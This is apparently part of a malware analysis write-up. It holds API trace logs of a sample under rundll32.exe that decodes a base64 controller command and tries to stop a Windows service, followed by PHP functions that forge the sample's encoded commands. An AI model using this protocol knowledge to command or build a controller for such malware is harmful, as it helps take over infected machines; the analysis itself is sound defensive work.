I. Fetching the order
[CNT] [395]
[PTP] [0x684] [0xa6c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000CDAADB41D0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Z7LcSPwfZxLiwC6kHD5hsnoJYG0KtuqZac7/JBB0"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000CDAADBDD70
[PAR] DWORD *pcbBinary : 0x000000CDACC7E78C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0xcdacbdbea1]
II. Execution
[CNT] [405]
[PTP] [0x684] [0xa6c] [c:\windows\system32\rundll32.exe]
[API] <OpenSCManagerA> in [ADVAPI32.dll]
[PAR] LPCSTR lpMachineName : 0x0 (null)
[PAR] LPCSTR lpDatabaseName : 0x000000CDACBF88F4
[STR] -> "ServicesActive"
[PAR] DWORD dwDesiredAccess : 0xf003f (SC_MANAGER_ALL_ACCESS)
[RET] [0xcdacbedee3]
[CNT] [406]
[PTP] [0x684] [0xa6c] [c:\windows\system32\rundll32.exe]
[API] <OpenServiceW> in [ADVAPI32.dll]
[PAR] SC_HANDLE hSCManager : 0xaadc8070
[PAR] LPCWSTR lpServiceName : 0x000000CDAADC2470
[STR] -> "evil"
[PAR] DWORD dwDesiredAccess : 0x20 (SERVICE_STOP)
[RET] [0xcdacbedf10]
[CNT] [407]
[PTP] [0x684] [0xa6c] [c:\windows\system32\rundll32.exe]
[API] <ControlService> in [ADVAPI32.dll]
[PAR] SC_HANDLE hService : 0xaadc85e0
[PAR] DWORD dwControl : 0x1 (SERVICE_CONTROL_STOP)
[RET] [0xcdacbedf36]
III. Result
Error, specified service wasn’t running
[CNT] [417]
[PTP] [0x684] [0xa6c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000CDAADC2170
[STR] -> "9999"
[STR] "1062"
[PAR] DWORD cbBinary : 0x12
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000CDAADBDD70
[PAR] DWORD* pcchString : 0x000000CDACC7E54C
[RET] [0xcdacbde028]
DelayCmdExec
This command introduced a specified ‘Sleep’ before the execution of subsequent commands
// ex: for 2sec : DelayCmdExec("2000");
function DelayCmdExec($delay)
{
$cmd_id = "\x9a\x6c $delay";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
unknown_network
// ex: unknown_network("127.0.0.1", "80", "abcd", "42)
function unknown_network($ip, $port, $unknown, $unknown2)
{
$cmd_id = "\xd1\xf3 $ip $port $unknown $unknown2";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
TODO